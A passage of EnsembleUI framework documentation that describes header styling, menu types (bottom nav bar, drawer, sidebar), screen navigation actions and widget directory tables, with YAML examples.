:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| backgroundColor | [Color](#color) | By default the background color uses the theme's 'primary' color. You can override the header's background color here. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| color | [Color](#color) | By default the navigation icon, title, and action icons uses the theme's 'onPrimary' color. You can override their colors here. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevation | integer | Raise the header on its z-coordinates relative to the body. This effectively creates a drop shadow on the header's bottom edge. Minimum value: 0, Maximum value: 24 | -| shadowColor | [Color](#color) | If elevation is non-zero, this will override the drop shadow color of the header's bottom edge, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| centerTitle | boolean | Whether to align the title in the title bar's center horizontally (default: true) | -| titleBarHeight | integer | For consistency, the header's title bar has the default fixed height of 56 regardless of its content. You may adjust its height here. Minimum value is `0` | -| flexibleMinHeight | integer | Applicable only if scrollableView is enabled. This attribute effectively sets the header's min height on scrolling (header's height will varies between the flexibleMinHeight and flexibleMaxHeight). Note that this attribute will be ignored if smaller than the titleBarHeight | -| flexibleMaxHeight | integer | Applicable only if scrollableView is enabled. This attribute effectively sets the header's max height on scrolling (header's height will varies between the flexibleMinHeight and flexibleMaxHeight). This attribute will be ignored if smaller than the flexibleMinHeight | -| animation | object | [see properties](#headerstylesanimation) | -| scrollMode | enum | Specify if header stays `pinned` or goes up `floating`, when page is scrolled up. | -> Note: When the entire View is specified as scrollable, flexible background's height can vary in height (hence flexible) on scroll with a parallax effect. - -#### Header.styles.animation - -| Property | Type | Description | -| :---------------- | :---------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| enabled | boolean | Animation behaviour `true` or `false`. | -| duration | integer | Specify time in `milliseconds` for which animation must play. | -| curve | string | Specify animation curve like `easeIn` `easeOut` or `linear`. | -| animationType | enum | Specify animation type that'll play when scrolled such as `fade` or `drop`. default value: `drop`. | -## Menu - -Ensemble provides support for five menu types that offer extensive customization options, including the ability to add custom items which are indeed `custom widgets`. These menu types allow users to meet their unique design needs or client requirements. Below, you will find detailed information about each menu type, including the supported properties, styles, and illustrative examples for better understanding. - -### BottomNavBar - -This is the navigation bar at the bottom of the screen, typical of most iOS and Android apps. Where each item has several properties as explained [below](#bottomnavbaritems). - -#### BottomNavBar.Properties - -| Property | Type | Description | -| :------- | :--------------- | :------------------------------------------------------------------- | -| items | array of objects | List of menu items (minimum 2). [see properties](#bottomnavbaritems) | -| styles | object | [see properties](#bottomnavbarstyles) | - -#### BottomNavBar.items - -| Property | Type | Description | -| :---------------------- | :---------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| icon | string | Icon name from ` Material Icons``Font Awesome``Remix ` or `custom font icons`. | -| iconLibrary | string | Enables the usage of various icon libraries like `FontAwesome`, `Remix`, `Material Icons` or `custom icon` fonts within ensemble. | -| label | string | Defines the text displayed below the icon, providing a descriptive title or name for the menu item | -| page | string | The new page to navigate to on click | -| selected | boolean | Mark this item as selected. There should only be one selected item per page. | -| visible | boolean | Mark this item as visible. Default is `true` | -| floating | boolean | Mark this item as a floating icon | -| floatingMargin | integer or string | The margin around the floating. | -| floatingAlignment | string | How to align the floating in the BottomNavBar. The values are ` left``center``right ` and `none` | -| color | [Color](#color) | Unselected icon color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| selectedColor | [Color](#color) | Selected icon color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| backgroundColor | [Color](#color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| floatingBackgroundColor | [Color](#color) | Floating item background color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| floatingIconColor | [Color](#color) | Floating item icon color, starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| customItem | object | Allows user to use custom widgets for two states `selected` and `UnSelected`. | - -##### BottomNavBar.items.customItem - -| Property | Type | Description | -| :------------- | :----------------- | :----------------------------------------------------- | -| widget | [Widget](#widget-directory) | Custom bottom navigation item for the unselected state | -| selectedWidget | [Widget](#widget-directory) | Custom bottom navigation item for the selected state | - -#### BottomNavBar.styles - -| Property | Type | Description | -| :-------------- | :---------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| backgroundColor | [Color](#color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - -#### Example - -```yaml -BottomNavBar: - styles: - backgroundColor: white - color: grey - selectedColor: orange - floatingBackgroundColor: orange - floatingIconColor: white - items: - - label: Home - activeIcon: home - icon: home - page: Home - - - customItem: - widget: CustomNavBarItem - selectedWidget: ActiveCustomNavBarItem - page: Icon - - - icon: note_add - floating: true - floatingAlignment: center - floatingMargin: 5 - onTap: | - //@code - ensemble.navigateScreen('Lottie'); - - - icon: search - label: Search - page: Image - visible: true - - - customItem: - widget: CustomNavBarItemWithImage - selectedWidget: ActiveCustomNavBarItemWithImage - page: WeeklyScheduler -``` - -This sippet has example for how user can utilize - -1. Custom widgets as items for the menu -2. Floating icons - -> To get hands-on experience with BottomNavBar, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/aa634599-cd5d-411c-a4b6-1163f3b5c558). - -### Drawer - -This menu type puts the menu behind a drawer icon on the header. The drawer icon will be positioned to the 'start' of the header (left for most languages, right for RTL languages). The drawer can be controlled programmatically using the `openDrawer` and `closeDrawer` actions. - -#### Drawer.Properties - -| Property | Type | Description | -| :------- | :--------------- | :-------------------------------------------------------- | -| header | widget | Custom widget to be displayed at the top of the drawer | -| footer | widget | Custom widget to be displayed at the bottom of the drawer | -| items | array of objects | List of menu items. [see properties](#draweritems) | -| styles | object | [see properties](#drawerstyles) | - -#### Drawer.items - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------ | -| icon | string | Icon name from `Material Icons`, `Font Awesome`, `Remix` or custom font icons | -| activeIcon | string | Icon to display when the item is selected. Falls back to `icon` if not specified | -| iconLibrary | string | Specify icon library: `FontAwesome`, `Remix`, `Material Icons` or custom icon fonts | -| label | string | Text displayed next to the icon | -| page | string | The page to navigate to when clicked | -| selected | boolean | Mark this item as selected. Only one item should be selected per page | -| visible | boolean | Whether the item should be shown. Default is `true` | -| isClickable | boolean | Whether the item can be interacted with. Useful for section headers. Default is `true` | -| switchScreen | boolean | Whether to navigate to the specified page when clicked. Default is `true` | -| onTap | action | Custom action to execute when item is tapped. Executes before page navigation if `switchScreen` is true | -| customItem | object | Allows using custom widgets for menu items. [see properties](#draweritemscustomitem) | - -#### Drawer.items.customItem - -| Property | Type | Description | -| :------------- | :----- | :---------------------------------------- | -| widget | widget | Custom drawer item for the normal state | -| selectedWidget | widget | Custom drawer item for the selected state | - -#### Drawer.styles - -| Property | Type | Description | -| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - -#### Example - -```yaml -View: - header: - title: Drawer Example - leadingWidget: - Icon: - name: menu - onTap: - openDrawer: - menu: - Drawer: - styles: - backgroundColor: white - header: - Column: - styles: - height: 200 - padding: 16 - backgroundColor: "#1a1f2b" - children: - - Text: - text: "User Name" - styles: - textStyle: - color: white - fontSize: 24 - footer: - Column: - styles: - padding: 16 - backgroundColor: "#1a1f2b" - children: - - Text: - text: "App Version 1.0.0" - styles: - textStyle: - color: grey - - items: - # Section header (non-clickable) - - label: "Main Menu" - isClickable: false - - # Regular menu item - - label: "Home" - icon: home - page: home - - # Custom menu item - - customItem: - widget: CustomDrawerItem - page: settings - - # Item with custom action - - label: "Share App" - icon: share - switchScreen: false - onTap: - closeDrawer: -``` - - -You can program either drawer using these actions: -- `openDrawer`: Opens the drawer programmatically -- `closeDrawer`: Closes the currently open drawer - -The drawer can be opened/closed from any widget's `onTap` or other action handlers: - -```yaml -Button: - label: Open Menu - onTap: - openDrawer: -``` - -> Note: Only one drawer (either Drawer or EndDrawer) can be open at a time. If both drawer types are configured, the app-level drawer takes precedence over screen-level drawers. - -##### Output - -

    -Page Skeleton -Page Skeleton -

    - -> To get hands-on experience with Drawer, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/0073ebe9-6b0b-4ebf-9e8b-72a93a1275df#) - -### End Drawer - -Similar to Drawer but the drawer icon will be positioned to the 'end' of the header (right for most languages, left for RTL languages). You can check its properties [here](#drawerproperties). - -> To get hands-on experience with End Drawer, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/YIcCi9aXiGJKftQRNi34#) - -### SideBar - -A fixed navigation menu to the 'start' of the screen (left for most languages, right for RTL languages). The menu may become a drawer menu on lower resolution or screen sizes. - -#### Sidebar.Properties - -| Property | Type | Description | -| :------- | :--------------- | :-------------------------------------------------------------- | -| header | widget | The header widget for the menu | -| footer | widget | The footer widget for the menu | -| items | array of objects | List of menu items (minimum 2). [see properties](#sidebaritems) | -| styles | object | [see properties](#sidebarstyles) | - -#### Sidebar.items - -| Property | Type | Description | -| :---------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------- | -| icon | string | Icon name from ` Material Icons``Font Awesome``Remix ` or `custom font icons`. | -| iconLibrary | string | Enables the usage of various icon libraries like `FontAwesome`, `Remix`, `Material Icons` or `custom icon` fonts within ensemble. | -| label | string | Defines the text displayed below the icon, providing a descriptive title or name for the menu item | -| page | string | The new page to navigate to on click | -| selected | boolean | Mark this item as selected. There should only be one selected item per page. | -| visible | boolean | Mark this item as visible. Default is `true` | - -#### Sidebar.styles - -| Property | Type | Description | -| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | The thickness of the border | -| borderColor | integer or string | Color of the border, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| itemDisplay | string | How to render each navigation item. `stacked` `sideBySide` | -| itemPadding | integer or string | Padding for each navigation item with CSS-style value | -| minWidth | integer | The minimum width for the menu (default 200) | - -#### Example - -An example on how to use Sidebar menu. - -```yaml -View: - title: Sidebar menu - menu: - Sidebar: - items: - - label: Home - icon: home - page: Home - - label: Button - icon: input - page: Button - - Column: - styles: { gap: 16, padding: 24, scrollable: true } - children: - - Markdown: - text: | - This page includes menu displayed as Sidebar -``` - -##### Output - -

    -Page Skeleton -

    - -> To get hands-on experience with Sidebar, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/QZyoRkHHrHEAkGJMwoNU#) - -## Body - -The View requires a single widget defined as its child. This will act as the body content, and can only be a Column, Row, Flex, or Stack widget. - -## API - -API provides a convenient way to interact with external services or data sources, allowing developers to make HTTP requests, access data, and integrate various functionalities into their applications. - -#### Properties - -| Property | Type | Description | -| :--------- | :----- | :------------------------------------------------------------------------------ | -| method | String | The HTTP method of the request, such as `GET`, `POST`, `DELETE`, `PUT`, `PATCH` | -| uri | String | The URI for the request | -| body | Object | The request body | -| headers | Object | The headers for the request | -| onResponse | Action | The action to handle the response | -| onError | Action | The action to handle errors | -| inputs | Array | The input values | - -> To learn about API's in detail, click [here](#invokeapi) - -## Global - -Global enables users to declare or define functions and variables which can be accessed globally inside the whole screen in every widget. In simple words its scope ig `global` just like a normal JavaScript `Global Execution Context` where users can access these functions anywhere in the screen. - -**Example** - -```yaml -View: - header: - title: "Code: Global functions" - styles: - scrollableView: true - Column: - styles: { gap: 16, padding: 24 } - children: - - TextInput: - id: secondsInput - label: Seconds - value: 28565 - - Button: - label: Convert to hours and minutes - onTap: - executeCode: - body: |- - //@code - results.text = convertSecondsToHours(secondsInput.value); - - - Text: - id: results - -Global: |- - - function convertSecondsToHours (s) { - - console.log(s); - } -``` - -**Output** - -The output can be checked in the logs for browser - -

    -Page Skeleton -

    - -## Putting it together - -This example illustrates almost all the widgets which are integral part of ensemble page structure. It also demonstrates a comprehensive usage of BottomNavBar, onLoad action, API calls and custom widgets. - -```yaml -View: - onLoad: - invokeAPI: - name: getUser - inputs: - id: 32GelurbLbd6umj3ULOkAXYSYyq2 - - # Set the view to be scrollable - styles: - scrollableView: true -menu: - BottomNavBar: - styles: - shadowColor: 0xFFFD451C - items: - - icon: home - label: Home - page: Home - selected: true - - label: Favorite - icon: favorite - page: Favorite - - label: Promos - icon: loyalty - page: Promos - - label: Account - icon: account_circle - page: Profile - - # This is the parent widget for all screen content - body: - Column: - styles: - backgroundGradient: - colors: [ 0xFFF4D66C, 0xFFFEFAF3, 0xFFFFFFFF ] - start: topLeft - end: bottomRight - - children: - - UserInfo - - SearchBar - - Categories - - NearbyFood -``` - -#### Output - -

    -Page Skeleton -

    - -> To get hands-on experience with a complete Application, check [Ensemble Studio](https://studio.ensembleui.com/app/iM58Wgr7bgzTxEi7rV40/screen/cYMnCfhOya8Vq1QG6aCC?propertyPanelEnabled=true&instantPreviewDisabled=false) - ---- - -# Layouts - -Ensemble layouts are themselves widgets that contain other widgets. Here is a comprehensive list of Layout widgets with their properties and usage examples in EnsembleUI. - -| Widget | Documentation | Kitchen sink example | -| ------------ | -------------- | ----------------------- | -| Column | [Link](#column-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) | -| FittedColumn | [Link](#fittedcolumn-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) | -| Row | [Link](#row) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) | -| FittedRow | [Link](#fittedrow-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) | -| Flex | [Link](#flex) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) | -| Flow | [Link](#flow) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3e901fb8-a0e8-4f52-979b-7f5f2547e650) | -| ListView | [Link](#listview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/w0Wmu9ZMP4csk7IELSx3) | -| GridView | [Link](#gridview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/DX5j2WVQFabmxD9FCD5h) | -| StaggeredGrid | [Link](/pages/widgets/staggeredgrid.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/a9iIs4wvgqDOhU4rN6GR) | -| Stack | [Link](#stack) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) | -| DataGrid | [Link](#datagrid-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c5940e18-f2c1-4318-8e68-a678a6ae7247) | -| TabBar | [Link](#tabbar) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/cebd491d-7d90-43f4-9f17-b8575de441ca) | -| Carousel | [Link](#carousel-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/2e1d88b1-f281-4c2c-9bb1-bd18016d2b8c) | -| Divider | [Link](#divider) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4a893a2e-5bde-400c-b974-b25b497d31a5) | -| Spacer | [Link](#spacer) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/1d7e42a9-5bbc-4b4b-9a02-8c102234ee05) | - ---- - -# Screen Navigation - -Ensemble provides two primary mechanism for navigating between screens: - -1. App menu, i.e. the nav bar, as [described here](#menu) -2. Navigation actions, which we will cover here. - -## The navigation stack - -The navigation stack keeps track of the screens as they are pushed and popped off the stack. - -For example, your app could have a home screen, that navigates to listing screen. From the listing user can navigate to a detail screen. When you navigate to a new screen, that screen is pushed onto the top of the stack. - - -![navigation stack](public/images/navigation/nav-navigation-stack.jpg) - -When you navigate back, the topmost screen is popped off the stack, and the previous screen becomes visible Navigation stack follows the Last In, First Out (LIFO) principle, meaning the last screen that was navigated to is the first one to be navigated away from when the user presses the back button. - -![navigation stack](public/images/navigation/nav-navigation-stack-pop.jpg) - -## Navigate Screen action - -[navigateScreen reference](#navigatescreen) - -Use `navigateScreen` action when navigating to a screen. This action will push the target screen on top of the current screen. You can pass inputs to the target screen when performing this action: - -```yaml -- Button: - label: View details - onTap: - navigateScreen: - name: ProductDetails - inputs: - productId: ${product.id} -``` - -![navigation stack](public/images/navigation/nav-navigateScreen.jpg) - - -Optionally, you can set `onNavigateBack` property to perform an action when user goes back to previous screen. - -```yaml -- Button: - label: View details - onTap: - navigateScreen: - name: ProductDetails - inputs: - productId: ${product.id} - onNavigateBack: - showToast: - message: You just returned from product detail screen. -``` - -In use cases where you do not want to allow user to go back to the previous screen, use `clearAllScreens: true` option. This essentially clears the navigation stack. - -```yaml -- Button: - label: SIGN IN - onTap: - invoteAPI: - name: authenticateUser - onResponse: - navigateScreen: - name: Home - options: - clearAllScreens: true -``` - -![navigation stack](public/images/navigation/nav-navigateBack-clearAllScreens.jpg) - - -## Navigate back action - -[navigateBack reference](#action-navigateback) - -Use `navigateBack` to pop the current screen and go the previous screen in the stack. This is the same action that would be preformed when user taps the built-in back button. - -![navigation stack](public/images/navigation/nav-navigateBack.jpg) - ---- - -# Widgets Directory - -Ensemble widgets enable you to build both simple and complex applications. - -### Data display - -| Widget | Documentation | Kitchen sink example | -| ---------------- | ------------------------- | -------------------------------------------------------------------------------------------------------------------------- | -| Text | [Link](#text-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c87f8b09-58e2-4c2f-99a1-cbbe9e25e9a5) | -| Image | [Link](#image-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/7c7a3ffe-68ef-4e99-b9d1-4b5cee166233) | -| Icon | [Link](#icon-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7c686f5-b8a2-4670-9e6e-8fdb0fea768e) | -| Avatar | [Link](#avatar-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/kJ9eqI5BPL30IwjnEDdJ) | -| Map | [Link](#map-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/36e52d1a-39c5-4a6b-b064-2be6cfe3cf7b) | -| QRCode | [Link](#qr-code-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/f4921ba2-9f3d-4c33-8848-4df29a5e7a4d) | -| Video | [Link](#video-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fce92bbb-af8e-403d-bf2d-c10926cc89a0) | -| Lottie animation | [Link](#lottie-animation-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/576f3004-83e6-429d-b256-628d85e05f7f) | -| Markdown | [Link](#markdown-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6b6d9c3d-359b-4768-99a5-3f087a64387c) | -| HTML | [Link](#html-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/ZhTBody9YozadVvTlhW0) | -| Webview | [Link](#webview-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/22c8d57d-a906-4d11-873d-161fd6c56c0a) | - -### Layout - -| Widget | Documentation | Kitchen sink example | -| ------------- | --------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | -| Column | [Link](#column-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) | -| FittedColumn | [Link](#fittedcolumn-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) | -| Row | [Link](#row) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4bd0d453-c243-429d-a562-93cbc9db38e3) | -| FittedRow | [Link](#fittedrow-deprecated) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) | -| Flex | [Link](#flex) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) | -| Flow | [Link](#flow) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3e901fb8-a0e8-4f52-979b-7f5f2547e650) | -| ListView | [Link](#listview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/w0Wmu9ZMP4csk7IELSx3) | -| GridView | [Link](#gridview) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/DX5j2WVQFabmxD9FCD5h) | -| StaggeredGrid | [Link](/pages/widgets/staggeredgrid.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/a9iIs4wvgqDOhU4rN6GR) | -| Stack | [Link](#stack) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/572ecf3b-b9f2-46f4-960f-ff438e5fa1dc) | -| DataGrid | [Link](#datagrid-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c5940e18-f2c1-4318-8e68-a678a6ae7247) | -| TabBar | [Link](#tabbar) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/cebd491d-7d90-43f4-9f17-b8575de441ca) | -| Carousel | [Link](#carousel-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/2e1d88b1-f281-4c2c-9bb1-bd18016d2b8c) | -| Collapsible | [Link](/pages/widgets/collapsible.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/yTFRepwpRQJbvRYaVpRi) | -| Divider | [Link](#divider) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4a893a2e-5bde-400c-b974-b25b497d31a5) | -| Spacer | [Link](#spacer) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/1d7e42a9-5bbc-4b4b-9a02-8c102234ee05) | -| Shape | [Link](#shape-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/Lg2nljyD46n2hiAUlBMP) | -| Slidable | [Link](#slidable-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hDUEQtsqHbuLoegWoyDR) | - -### Forms and inputs - -| Widget | Documentation | Kitchen sink example | -| --------------- | ------------------------------ | -------------------------------------------------------------------------------------------------------------------------- | -| Form | [Link](#form-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3107baf6-dfc3-42cd-b617-61c37b31f31e) | -| TextInput | [Link](/pages/widgets/textinput.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/abc081b1-bcb4-4db6-ae55-7987cb6c418e) | -| Button | [Link](#button-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/09c1087b-f9ee-4a8c-9286-e0e881184c07) | -| Dropdown | [Link](#dropdown-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fb8d28a2-834e-40a9-8419-155272fb0191) | -| AutoComplete | Coming soon | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3tBTU9CUTu0IegpytNYa) | -| Checkbox | [Link](#checkbox-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/21f43d9b-db21-40fe-9c2f-806267e6c412) | -| Switch | [Link](#switch-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3f4ba37a-0e6a-46a1-9b78-e4e04c84937d) | -| Date | [Link](#date-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7zOy8oX5dxQU7kD5IO4) | -| DateRange | Coming soon | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/b45c5576-ec22-4b04-832f-6dd7571dd20f) | -| Time | [Link](#time-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/yNHLPObY1wWgCpg0sgoW) | -| PasswordInput | [Link](#passwordinput-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/218fa244-f0cd-4d17-91e6-7c099bbedede) | -| Signature | [Link](#signature-widget) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/70eb8a13-e7df-4778-b7e6-57df17b032a0) | -| WeeklyScheduler | Coming soon | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/244ce957-98ed-4db8-a5a7-ee587d6dfe0b) | - -### Conditional - -| Widget | Documentation | Kitchen sink example | -| ----------- | ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Conditional | [link](#conditional-widget) | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/XljPegGrdieyKjy16URC?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) | - -### Feedback - -| Widget | Documentation | Kitchen sink example | -| ------------------ | ---------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | -| Progress indicator | [Link](/pages/widgets/progressindicator.md) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c2c248f2-a289-40d3-acd5-65a1a7f3c5a2) | -| Toast message | [Link](#showtoast) | [Link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/9a576805-019a-4bd3-953f-3c623fbfb905) | - ---- - - -# Script with JavaScript - -Scripts can provide a powerful way to enhance your app's functionality and customize its behavior beyond what can be achieved with declarative configurations alone. - -## When to Use Scripts - -Global Scripts are ideal for situations where you need: - -- **Reusable Logic:** Define functions or variables that can be used across multiple screens or widgets in your app. For example, a function to format dates or calculate totals could be placed in a Global Script for easy access. -- **Data Storage:** Store pre-defined data like user details, color palettes, or API 